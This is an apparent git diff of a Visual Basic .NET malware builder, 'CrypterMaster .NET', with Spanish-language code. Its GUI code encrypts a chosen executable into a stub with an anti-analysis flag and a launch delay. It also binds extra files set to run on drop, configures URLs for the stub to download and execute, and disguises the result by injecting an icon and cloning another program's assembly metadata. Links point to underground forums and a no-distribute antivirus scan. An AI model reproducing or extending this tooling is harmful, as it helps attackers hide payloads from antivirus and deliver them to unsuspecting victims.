CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit()
Me.HuraGroupBox2.ResumeLayout(False)
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
Me.ResumeLayout(False)
End Sub
Friend WithEvents HuraGUI As CrypterMaster.HuraForm
Friend WithEvents HuraControlBox1 As CrypterMaster.HuraControlBox
Friend WithEvents tabControl As CrypterMaster.HuraTabControl
Friend WithEvents TabCrypter As System.Windows.Forms.TabPage
Friend WithEvents TabBinder As System.Windows.Forms.TabPage
Friend WithEvents TabDownloader As System.Windows.Forms.TabPage
Friend WithEvents tabOpciones As System.Windows.Forms.TabPage
Friend WithEvents tabAcercaDe As System.Windows.Forms.TabPage
Friend WithEvents txtArchivo_Crypter As CrypterMaster.HuraTextBox
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents btnSeleccionar_Crypter As CrypterMaster.HuraButton
Friend WithEvents btnGenerar_Crypter As CrypterMaster.HuraButton
Friend WithEvents txtClave_Crypter As CrypterMaster.HuraTextBox
Friend WithEvents Label2 As System.Windows.Forms.Label
Friend WithEvents HuraGroupBox1 As CrypterMaster.HuraGroupBox
Friend WithEvents rbtnUnknown_Crypter As CrypterMaster.HuraRadioButton
Friend WithEvents rbtnStairs_Crypter As CrypterMaster.HuraRadioButton
Friend WithEvents Label3 As System.Windows.Forms.Label
Friend WithEvents HuraGroupBox2 As CrypterMaster.HuraGroupBox
Friend WithEvents Label7 As System.Windows.Forms.Label
Friend WithEvents Label6 As System.Windows.Forms.Label
Friend WithEvents Label5 As System.Windows.Forms.Label
Friend WithEvents Label4 As System.Windows.Forms.Label
Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
Friend WithEvents lstArchivos_Binder As System.Windows.Forms.ListView
Friend WithEvents comboDrop_Binder As CrypterMaster.HuraComboBox
Friend WithEvents HuraGroupBox3 As CrypterMaster.HuraGroupBox
Friend WithEvents chkEjecutar_Binder As CrypterMaster.HuraCheckBox
Friend WithEvents btnAgregar_Binder As CrypterMaster.HuraButton
Friend WithEvents btnQuitar_Binder As CrypterMaster.HuraButton
Friend WithEvents colArchivo_Binder As System.Windows.Forms.ColumnHeader
Friend WithEvents colEjecutar_Binder As System.Windows.Forms.ColumnHeader
Friend WithEvents HuraGroupBox4 As CrypterMaster.HuraGroupBox
Friend WithEvents chkEjecutar_Downloader As CrypterMaster.HuraCheckBox
Friend WithEvents btnAgregar_Downloader As CrypterMaster.HuraButton
Friend WithEvents btnQuitar_Downloader As CrypterMaster.HuraButton
Friend WithEvents lstArchivos_Downloader As System.Windows.Forms.ListView
Friend WithEvents colURL_Downloader As System.Windows.Forms.ColumnHeader
Friend WithEvents colEjecutar_Downloader As System.Windows.Forms.ColumnHeader
Friend WithEvents comboDrop_Downloader As CrypterMaster.HuraComboBox
Friend WithEvents btnCrear As CrypterMaster.HuraButton
Friend WithEvents progressCrear As CrypterMaster.HuraProgressBar
Friend WithEvents updwnRetraso As System.Windows.Forms.NumericUpDown
Friend WithEvents btnAssembly As CrypterMaster.HuraButton
Friend WithEvents btnIcono As CrypterMaster.HuraButton
Friend WithEvents chkRetraso As CrypterMaster.HuraCheckBox
Friend WithEvents txtAssembly As CrypterMaster.HuraTextBox
Friend WithEvents txtIcono As CrypterMaster.HuraTextBox
Friend WithEvents chkAssembly As CrypterMaster.HuraCheckBox
Friend WithEvents chkIcono As CrypterMaster.HuraCheckBox
Friend WithEvents chkAntis As CrypterMaster.HuraCheckBox
Friend WithEvents LinkLabel1 As System.Windows.Forms.LinkLabel
Friend WithEvents lblScan As System.Windows.Forms.LinkLabel
Friend WithEvents dialogCrypter As System.Windows.Forms.OpenFileDialog
Friend WithEvents dialogBinder As System.Windows.Forms.OpenFileDialog
Friend WithEvents dialogIcono As System.Windows.Forms.OpenFileDialog
Friend WithEvents dialogAssembly As System.Windows.Forms.OpenFileDialog
Friend WithEvents Label8 As System.Windows.Forms.Label
Friend WithEvents colExtension_Downloader As System.Windows.Forms.ColumnHeader
Friend WithEvents dialogCrear As System.Windows.Forms.SaveFileDialog
Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox
End Class
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,310 @@
Imports System.Threading
Imports System.IO
Imports System.Reflection
Imports System.Text
Public Class GUI
Private Sub GUI_Load(sender As Object, e As EventArgs) Handles Me.Load
Me.comboDrop_Binder.SelectedIndex = 0
Me.comboDrop_Downloader.SelectedIndex = 0
End Sub
Private Sub btnSeleccionar_Crypter_Click(sender As Object, e As EventArgs) Handles btnSeleccionar_Crypter.Click
With dialogCrypter
.Title = "Abrir archivo..."
.Filter = "Ejecutables (*.exe)|*.exe"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
txtArchivo_Crypter.Text = .FileName
Else
txtArchivo_Crypter.Text = ""
End If
End With
End Sub
Private Sub btnAgregar_Binder_Click(sender As Object, e As EventArgs) Handles btnAgregar_Binder.Click
With dialogBinder
.Title = "Abrir archivo..."
.Filter = "Todos (*.*)|*.*"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then lstArchivos_Binder.Items.Add(.FileName).SubItems.Add(True)
End With
End Sub
Private Sub lstArchivos_Binder_Click(sender As Object, e As EventArgs) Handles lstArchivos_Binder.SelectedIndexChanged
If lstArchivos_Binder.SelectedItems.Count > 0 Then
chkEjecutar_Binder.Visible = True
Dim itemActual As ListViewItem = lstArchivos_Binder.FocusedItem
Dim bEjecutar As Boolean = CBool(itemActual.SubItems.Item(1).Text)
chkEjecutar_Binder.Checked = bEjecutar
Else
chkEjecutar_Binder.Visible = False
End If
End Sub
Private Sub chkEjecutar_Binder_CheckedChanged(sender As Object) Handles chkEjecutar_Binder.CheckedChanged
If lstArchivos_Binder.SelectedItems.Count > 0 Then
Dim itemActual As ListViewItem = lstArchivos_Binder.FocusedItem
itemActual.SubItems.Item(1).Text = chkEjecutar_Binder.Checked
End If
End Sub
Private Sub btnQuitar_Binder_Click(sender As Object, e As EventArgs) Handles btnQuitar_Binder.Click
If lstArchivos_Binder.SelectedItems.Count > 0 Then
Dim itemActual As ListViewItem = lstArchivos_Binder.FocusedItem
lstArchivos_Binder.Items.Remove(itemActual)
End If
End Sub
Private Sub btnAgregar_Downloader_Click(sender As Object, e As EventArgs) Handles btnAgregar_Downloader.Click
Dim URL As String = InputBox("Introduzca la URL completa" & vbNewLine & "Ej: http://servidor.com/archivo.ext", "Introduzca la URL")
If String.IsNullOrEmpty(URL) Then Exit Sub
Dim sExt As String = ExtStr(URL, 2, "/")
If sExt = "." & ExtStr(URL, 3, "/") Then
sExt = InputBox("Parece que la URL que ingresó no contiene la extensión del archivo a descargar." & vbNewLine & "Introduzca la extensión del archivo (incluyendo el punto (.))" & vbNewLine & "Ej: .ext", "Introduzca la extensión")
If Not sExt.StartsWith(".") Then
sExt = "." & sExt
End If
End If
With lstArchivos_Downloader.Items.Add(URL)
.SubItems.Add(sExt)
.SubItems.Add(True)
End With
End Sub
Private Sub btnQuitar_Downloader_Click(sender As Object, e As EventArgs) Handles btnQuitar_Downloader.Click
If lstArchivos_Downloader.SelectedItems.Count > 0 Then
Dim itemActual As ListViewItem = lstArchivos_Downloader.FocusedItem
lstArchivos_Downloader.Items.Remove(itemActual)
End If
End Sub
Private Sub chkEjecutar_Downloader_CheckedChanged(sender As Object) Handles chkEjecutar_Downloader.CheckedChanged
If lstArchivos_Downloader.SelectedItems.Count > 0 Then
Dim itemActual As ListViewItem = lstArchivos_Downloader.FocusedItem
itemActual.SubItems.Item(2).Text = chkEjecutar_Downloader.Checked
End If
End Sub
Private Sub lstArchivos_Downloader_Click(sender As Object, e As EventArgs) Handles lstArchivos_Downloader.SelectedIndexChanged
If lstArchivos_Downloader.SelectedItems.Count > 0 Then
chkEjecutar_Downloader.Visible = True
Dim itemActual As ListViewItem = lstArchivos_Downloader.FocusedItem
Dim bEjecutar As Boolean = CBool(itemActual.SubItems.Item(2).Text)
chkEjecutar_Downloader.Checked = bEjecutar
Else
chkEjecutar_Downloader.Visible = False
End If
End Sub
Private Sub btnGenerar_Crypter_Click(sender As Object, e As EventArgs) Handles btnGenerar_Crypter.Click
For i = 1 To 6
txtClave_Crypter.Text = getKey(50)
Thread.Sleep(50)
Application.DoEvents()
Next i
End Sub
Private Sub chkRetraso_CheckedChanged(sender As Object) Handles chkRetraso.CheckedChanged
If chkRetraso.Checked Then
updwnRetraso.Enabled = True
Else
updwnRetraso.Enabled = False
updwnRetraso.Value = 0
End If
End Sub
Private Sub chkIcono_CheckedChanged(sender As Object) Handles chkIcono.CheckedChanged
txtIcono.Text = ""
If chkIcono.Checked Then
btnIcono.Enabled = True
Else
btnIcono.Enabled = False
End If
End Sub
Private Sub chkAssembly_CheckedChanged(sender As Object) Handles chkAssembly.CheckedChanged
txtAssembly.Text = ""
If chkAssembly.Checked Then
btnAssembly.Enabled = True
Else
btnAssembly.Enabled = False
End If
End Sub
Private Sub btnIcono_Click(sender As Object, e As EventArgs) Handles btnIcono.Click
With dialogIcono
.Title = "Seleccionar icono..."
.Filter = "Iconos (*.ico)|*.ico"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
txtIcono.Text = .FileName
Else
txtIcono.Text = ""
End If
End With
End Sub
Private Sub btnAssembly_Click(sender As Object, e As EventArgs) Handles btnAssembly.Click
With dialogAssembly
.Title = "Seleccionar ejecutable..."
.Filter = "Ejecutables (*.exe)|*.exe|Librerias (*.dll)|*.dll"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
txtAssembly.Text = .FileName
Else
txtAssembly.Text = ""
End If
End With
End Sub
Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://foro.udtools.net/member.php?7932-chequinho")
Process.Start("http://level-23.cc/forum/member.php?4392-chequinho")
Process.Start("http://www.indetectables.net/memberlist.php?mode=viewprofile&u=67773")
End Sub
Private Sub lblScan_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles lblScan.LinkClicked
Process.Start("http://scan.majyx.net/result.php?sid=54465")
End Sub
Private Sub btnCrear_Click(sender As Object, e As EventArgs) Handles btnCrear.Click
Try
Dim delimitador_master As String = "#._.#"
Dim delimitador_crypter As String = "#.__.#"
Dim delimitador_binder As String = "#.___.#"
Dim delimitador_files_binder = "#.///.#"
Dim delimitador_files_ejec_binder As String = ".!!!."
Dim delimitador_files_ejec_downloader As String = ".||||."
Dim delimitador_downloader As String = "#.____.#"
Dim delimitador_files_downloader As String = "#.////.#"
Dim stubPath As String = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) & "\stub.dll"
Dim stubBackupPath As String = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) & "\stub.original"
Dim filePath As String = txtArchivo_Crypter.Text
Dim iconPath As String = txtIcono.Text
Dim assemblyPath As String = txtAssembly.Text
Dim filesBinder As String = ""
Dim filesDownloader As String = ""
Dim stubData As String = ""
Dim nuclearData As String = ""
Dim encryptedData As String = ""
Dim fileData As String = ""
Dim crypterData As String = ""
Dim binderData As String = ""
Dim downloaderData As String = ""
Dim sKey As String = txtClave_Crypter.Text
progressCrear.Value = 10
If Not My.Computer.FileSystem.FileExists(stubPath) Then
MsgBox("Parece que el archivo 'stub.dll' no está aquí...", vbCritical, "Error de Archivo")
progressCrear.Value = 0
Exit Sub
End If
If filePath = vbNullString Then
MsgBox("No ha seleccionado archivo a cifrar", vbCritical, "Error de Archivo")
progressCrear.Value = 0
Exit Sub
End If
If chkIcono.Checked Then
If iconPath = vbNullString Then
MsgBox("No ha seleccionado icono...", vbCritical, "Error de Archivo")
progressCrear.Value = 0
Exit Sub
Else
If Not My.Computer.FileSystem.FileExists(stubBackupPath) Then My.Computer.FileSystem.CopyFile(stubPath, stubBackupPath)
IconChanger.InjectIcon(stubPath, iconPath)
End If
End If
If chkAssembly.Checked Then
If assemblyPath = vbNullString Then
MsgBox("No ha seleccionado ejecutable del cual clonar información de ensamblado...", vbCritical, "Error de Archivo")
progressCrear.Value = 0
Exit Sub
Else
If Not My.Computer.FileSystem.FileExists(stubBackupPath) Then My.Computer.FileSystem.CopyFile(stubPath, stubBackupPath)
cloneInfo(assemblyPath, stubPath)
End If
End If
progressCrear.Value = 20
fileData = ReadFile(filePath)
crypterData = fileData & delimitador_crypter & chkAntis.Checked & delimitador_crypter & updwnRetraso.Value & delimitador_crypter
progressCrear.Value = 30
If lstArchivos_Binder.Items.Count > 0 Then
For i = 0 To (lstArchivos_Binder.Items.Count - 1)
Dim currentBinderItem As ListViewItem = lstArchivos_Binder.Items.Item(i)
Dim currentBinderFilePath As String = currentBinderItem.Text
Dim currentBinderFileData As String = ReadFile(currentBinderFilePath)
Dim currentBinderExt As String = ExtStr(currentBinderFilePath, 2)
Dim currentBinderExec As Boolean = CBool(currentBinderItem.SubItems(1).Text)
Dim currentBinderData As String = currentBinderFileData & delimitador_files_ejec_binder & currentBinderExt & delimitador_files_ejec_binder & currentBinderExec
filesBinder &= currentBinderData & delimitador_files_binder
Next
binderData = filesBinder & delimitador_binder & comboDrop_Binder.Text & delimitador_binder
Else
binderData = "NO_DATA"
End If
progressCrear.Value = 40
If lstArchivos_Downloader.Items.Count > 0 Then
For i = 0 To (lstArchivos_Downloader.Items.Count - 1)
Dim currentDownloaderItem As ListViewItem = lstArchivos_Downloader.Items.Item(i)
Dim currentDownloaderURL As String = currentDownloaderItem.Text
Dim currentDownloaderExt As String = currentDownloaderItem.SubItems(1).Text
Dim currentDownloaderExec As Boolean = CBool(currentDownloaderItem.SubItems(2).Text)
Dim currentDownloaderData As String = currentDownloaderURL & delimitador_files_ejec_downloader & currentDownloaderExt & delimitador_files_ejec_downloader & currentDownloaderExec
filesDownloader &= currentDownloaderData & delimitador_files_downloader
Next
downloaderData = filesDownloader & delimitador_downloader & comboDrop_Downloader.Text & delimitador_downloader
Else
downloaderData = "NO_DATA"
End If
progressCrear.Value = 50
stubData = ReadFile(stubPath)
nuclearData = crypterData & delimitador_master & binderData & delimitador_master & downloaderData & delimitador_master
progressCrear.Value = 60
If rbtnUnknown_Crypter.Checked Then
encryptedData = stubData & delimitador_master & Unknown(nuclearData, sKey) & delimitador_master & sKey & delimitador_master & "1" & delimitador_master
ElseIf rbtnStairs_Crypter.Checked Then
encryptedData = stubData & delimitador_master & Stairs(nuclearData, sKey) & delimitador_master & sKey & delimitador_master & "2" & delimitador_master
End If
progressCrear.Value = 70
With dialogCrear
.FileName = ExtStr(filePath, 1) & ".enc"
.Title = "Guardar ejecutable cifrado..."
.Filter = "Ejecutables (*.exe)|*.exe"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
WriteFile(.FileName, encryptedData)
progressCrear.Value = 80
progressCrear.Value = 90
If My.Computer.FileSystem.FileExists(stubBackupPath) Then
My.Computer.FileSystem.DeleteFile(stubPath)
My.Computer.FileSystem.RenameFile(stubBackupPath, ExtStr(stubPath, 3))
End If
progressCrear.Value = 100
MsgBox("¡Ejecutable cifrado correctamente!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Correcto")
End If
progressCrear.Value = 0
End With
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical, "Error en tiempo de ejecución")
progressCrear.Value = 0
End Try
End Sub
End Class
@@ -0,0 +1,38 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18444
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
' or if you encounter build errors in this file, go to the Project Designer
' (go to Project Properties or double-click the My Project node in
' Solution Explorer), and make changes on the Application tab.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = true
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.CrypterMaster.GUI
End Sub
End Class
End Namespace
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>true</MySubMain>
<MainForm>GUI</MainForm>
<SingleInstance>true</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' La información general sobre un ensamblado se controla mediante el siguiente
' conjunto de atributos. Cambie estos atributos para modificar la información
' asociada con un ensamblado.
' Revisar los valores de los atributos del ensamblado
<Assembly: AssemblyTitle("CrypterMaster .NET")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("CrypterMaster .NET")>
<Assembly: AssemblyCopyright("Copyright © chequinho 2014")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'El siguiente GUID sirve como identificador de typelib si este proyecto se expone a COM
<Assembly: Guid("63a2c87d-1855-4846-a649-a83698cf4326")>
' La información de versión de un ensamblado consta de los cuatro valores siguientes:
'
' Versión principal
' Versión secundaria
' Número de compilación
' Revisión
'
' Puede especificar todos los valores o usar los valores predeterminados de número de compilación y de revisión
' mediante el asterisco ('*'), como se muestra a continuación:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("1.0.0.0")>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18444
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("CrypterMaster.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized resource of type System.Byte[].
'''</summary>
Friend ReadOnly Property ResHacker() As Byte()
Get
Dim obj As Object = ResourceManager.GetObject("ResHacker", resourceCulture)
Return CType(obj,Byte())
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,124 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="ResHacker" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\ResHacker.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18444
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.CrypterMaster.My.MySettings
Get
Return Global.CrypterMaster.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,151 @@
Option Strict On
Option Explicit On
Option Infer On
Imports System.Runtime.InteropServices
Imports System.Security
Public Class IconChanger
<SuppressUnmanagedCodeSecurity()> _
Private Class NativeMethods
<DllImport("kernel32")> _
Public Shared Function BeginUpdateResource( _
ByVal fileName As String, _
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
End Function
<DllImport("kernel32")> _
Public Shared Function UpdateResource( _
ByVal hUpdate As IntPtr, _
ByVal type As IntPtr, _
ByVal name As IntPtr, _
ByVal language As Short, _
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
ByVal data() As Byte, _
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32")> _
Public Shared Function EndUpdateResource( _
ByVal hUpdate As IntPtr, _
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
End Class
<StructLayout(LayoutKind.Sequential)> _
Private Structure ICONDIR
Public Reserved As UShort
Public Type As UShort
Public Count As UShort
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure ICONDIRENTRY
Public Width As Byte
Public Height As Byte
Public ColorCount As Byte
Public Reserved As Byte
Public Planes As UShort
Public BitCount As UShort
Public BytesInRes As Integer
Public ImageOffset As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure BITMAPINFOHEADER
Public Size As UInteger
Public Width As Integer
Public Height As Integer
Public Planes As UShort
Public BitCount As UShort
Public Compression As UInteger
Public SizeImage As UInteger
Public XPelsPerMeter As Integer
Public YPelsPerMeter As Integer
Public ClrUsed As UInteger
Public ClrImportant As UInteger
End Structure
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
Private Structure GRPICONDIRENTRY
Public Width As Byte
Public Height As Byte
Public ColorCount As Byte
Public Reserved As Byte
Public Planes As UShort
Public BitCount As UShort
Public BytesInRes As Integer
Public ID As UShort
End Structure
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
InjectIcon(exeFileName, iconFileName, 1, 1)
End Sub
